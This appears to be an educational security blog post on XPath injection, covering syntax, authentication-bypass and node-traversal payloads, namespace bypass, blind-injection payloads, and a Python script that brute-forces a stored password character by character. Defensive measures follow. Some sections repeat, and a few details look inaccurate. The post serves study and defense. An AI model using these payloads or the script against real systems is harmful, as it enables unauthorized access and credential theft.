Skip to content

WRITING / POSTS

XPath Injection: Principles, Exploitation, and Defense

An in-depth study of XPath injection, covering XPath syntax fundamentals, injection principles, exploitation techniques, and security defenses for querying XML data.

On this page 16 sections

Learning and Analyzing XPath Injection

XPath is a query language that can access nodes and content in XML files.

Quickly Obtaining XPath

  • Manually obtaining it

Modern browsers support copying an XPath path.

There is a distinction between full and relative paths.

  • Using tools

Some browser extensions and similar tools can retrieve it.

The result is shown above.

Verification

$x function

$x(xpathExpression, [contextNode])

For example, suppose we obtain an XPath expression.

//*[@id='16858669']/div/h2/a

In the console, we can use the $x function.

// 验证XPath是否能找到元素
$x("//*[@id='16858669']/div/h2/a")

// 查看找到多少个元素
$x("//*[@id='16858669']/div/h2/a").length

// 获取元素的文本内容
$x("//*[@id='16858669']/div/h2/a")[0]?.textContent

// 获取元素的链接地址
$x("//*[@id='16858669']/div/h2/a")[0]?.href

// 高亮显示找到的元素
$x("//*[@id='16858669']/div/h2/a")[0]?.scrollIntoView()
$x("//*[@id='16858669']/div/h2/a")[0]?.style.border = "3px solid red"

The result is as follows.

It directly returns all information about this element.

XPath Syntax

Common syntax:

  • Select direct child nodes
  • // selects descendant nodes at any position
  • @ selects attributes
  • [] — predicate, used to filter conditions

Common functions

# 字符串函数
string-length(), substring(), starts-with(), contains()
normalize-space(), translate(), concat()

# 数学函数
count(), sum(), number(), round(), floor(), ceiling()

# 节点函数
name(), local-name(), namespace-uri()
position(), last()

An XML file looks as follows.

<bookstore>
  <book id="1" category="fiction">
    <title>Harry Potter</title>
    <author>J.K. Rowling</author>
    <price>29.99</price>
  </book>
  <book id="2" category="technical">
    <title>Learning XML</title>
    <author>Erik T. Ray</author>
    <price>39.95</price>
  </book>
</bookstore>

The query is as follows.

/bookstore/book                    # 选择所有书籍
//title                           # 选择所有标题
/bookstore/book[1]                # 选择第一本书
//book[@category='fiction']       # 选择类别为fiction的书
//book[price>30]                  # 选择价格大于30的书
//book/title/text()               # 选择所有书籍标题的文本内容
//@category                       # 选择所有category属性

XPath Injection

The principle is as follows.

Accept parameters username and password.

# 用户输入
username = input("username")
password = input("password")

# 构造 XPath 查询
query = f"//user[username/text()='{username}' and password/text()='{password}']"

# XML 示例数据
<users>
    <user>
        <username>admin</username>
        <password>admin123</password>
    </user>
</users>

The key is the query statement.

query = f"//user[username/text()='{username}' and password/text()='{password}']"

If we construct it cleverly,

用户名:' or '1'='1
密码:' or '1'='1

the query statement then looks like this:

//user[username/text()='' or '1'='1' and password/text()='' or '1'='1']

It is always true and matches all users, causing authentication bypass! It is always true and matches all users, causing authentication bypass!

However, XPath matching is still relatively strict.

There are also some bypass techniques.

# 注释绕过
' or '1'='1' (: comment :) and '1'='1

# 编码绕过
&#39; or &#39;1&#39;=&#39;1&#39; and &#39;1&#39;=&#39;1

# 大小写绕过
' OR '1'='1' AND '1'='1

As shown in the image.

Node Traversal Techniques

Special XPath expressions can traverse the entire XML document:

# 获取所有节点
']|//*|//*['

# 获取所有属性
']|//@*|//*['

That is, construct:

//user[username/text()='']|//*|//*[password/text()='123']

Namespace Bypass

What Is a Namespace?

<root xmlns:a="http://example.com/a" xmlns:b="http://example.com/b">
  <a:user>admin</a:user>
  <b:user>guest</b:user>
</root>

They belong to the a and b namespaces, respectively.

That is, if a namespace is not specified during an XPath query, these elements cannot be found.

Our approach is therefore as follows.

Some XML documents use namespaces, which can be bypassed in the following way:

local-name() is an XPath function that returns the tag name without a namespace prefix.

# 使用local-name()函数绕过命名空间限制
' or local-name()='user' or '1'='1

We can compare and study XPath and SQL together.

XPath injection compared with SQL injection:

ComparisonXPath InjectionSQL Injection
TargetXML database / XML documentRelational database (MySQL, PostgreSQL)
LanguageXPathSQL
CharacteristicsQuery node paths, attributes, text, etc.Query tables, fields, values, etc.
ExploitationGuess nodes, read XML dataObtain data, execute commands, control the database

XPath Blind Injection Techniques

Blind injection principle:

In most cases, when a server returns data, it filters error messages and does not display them directly on the user page. Even when error messages are filtered, however, attackers can infer query results from different server responses.

Blind injection is an injection technique used when the server does not return detailed error messages. XPath blind injection mainly uses XPath string-operation functions and operators to infer information from differences in server responses.

Blind Injection Examples

Suppose a login system uses the following XPath query:

query = f"//user[username/text()='{username}' and password/text()='{password}']"

Boolean-Based Blind Injection

Guess data character by character by constructing queries that return Boolean values:

# 判断第一个用户的密码长度是否大于5
' and string-length(//user[1]/password/text()) > 5 and '1'='1

# 判断第一个用户的密码第一个字符是否为'a'
' and substring(//user[1]/password/text(),1,1)='a' and '1'='1

Time-Based Blind Injection

Some XPath implementations support delay functions.

# 如果条件成立,执行耗时操作
' and (if(substring(//user[1]/password/text(),1,1)='a', sleep(5), false)) and '1'='1

Automated Blind-Injection Tools

For example, a script can automate the blind-injection process:

import requests
import time

def xpath_blind(url, xpath_param):
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    result = ""
    pos = 1
    
    # 先确定长度
    length = 0
    for i in range(1, 30):
        payload = f"' and string-length(//user[1]/password/text())={i} and '1'='1"
        r = requests.get(url, params={xpath_param: payload})
        if "登录成功" in r.text:
            length = i
            break
    
    print(f"Password length: {length}")
    
    # 逐位猜解
    for i in range(1, length+1):
        for char in charset:
            payload = f"' and substring(//user[1]/password/text(),{i},1)='{char}' and '1'='1"
            r = requests.get(url, params={xpath_param: payload})
            if "登录成功" in r.text:
                result += char
                print(f"Found character at position {i}: {char}")
                break
    
    return result

Node Traversal Techniques

Special XPath expressions can traverse the entire XML document:

# 获取所有节点
']|//*|//*['

# 获取所有属性
']|//@*|//*['

Namespace Bypass

What Is a Namespace?

<root xmlns:a="http://example.com/a" xmlns:b="http://example.com/b">
  <a:user>admin</a:user>
  <b:user>guest</b:user>
</root>

They belong to the a and b namespaces, respectively.

That is, if a namespace is not specified during an XPath query, these elements cannot be found.

Our approach is therefore as follows.

Some XML documents use namespaces, which can be bypassed in the following way:

local-name() is an XPath function that returns the tag name without a namespace prefix.

# 使用local-name()函数绕过命名空间限制
' or local-name()='user' or '1'='1

Defense Strategies and Analysis

Here, Python code is used as an example.

Python example — safe XPath query

Some XPath libraries support parameterized queries, similar to prepared statements in SQL:

import xml.etree.ElementTree as ET
import re

def safe_xpath_query(username, password):
    # 1. 输入验证与过滤
    if not re.match(r'^[a-zA-Z0-9_]+$', username):
        return None
    
    # 2. 参数化查询(如果XPath处理器支持)
    # xpath = f"//user[@username='{username}' and @password='{password}']"
    
    # 或使用XML DOM安全查询
    root = ET.parse('users.xml').getroot()
    for user in root.findall('user'):
        if (user.get('username') == username and 
            user.get('password') == password):
            return user
    return None

The final defense is:

Treat XML as a tree → directly retrieve attributes → avoid strings → safe by design.

Using ORM Frameworks

For XML data,

using a dedicated ORM framework can reduce the need to write XPath queries directly.

# 使用XML ORM框架示例
from xmlorm import XMLModel, Field

class User(XMLModel):
    username = Field()
    password = Field()

# 安全查询
user = User.query.filter(User.username == username, 
                        User.password == password).first()

Principle of Least Privilege

Ensure XML-processing code has only the minimum permissions it needs:

# 限制XPath查询只能访问特定节点
def restricted_xpath_query(query, allowed_paths):
    # 检查查询是否只访问允许的路径
    for path in allowed_paths:
        if not query.startswith(path):
            return None
    # 执行查询...

References

XPath Injection Guide

XPath Injection: Attack and Defense Techniques - Tencent Cloud Developer Community

XPath Injection Explained - Penetration Testing Center - CNBlogs

Research on XPath Injection Attacks and Defense Techniques - Alibaba Cloud Developer Community

Edit this post

Continue reading

Related posts
Previous post
HTTP Request Smuggling (CL·TE / TE·CL): Principles and Detection
Next post
Python Security for Beginners, Lesson 1: SSTI and Deserialization

On this page

SEARCH / QUICK FIND

Search English content

Try searching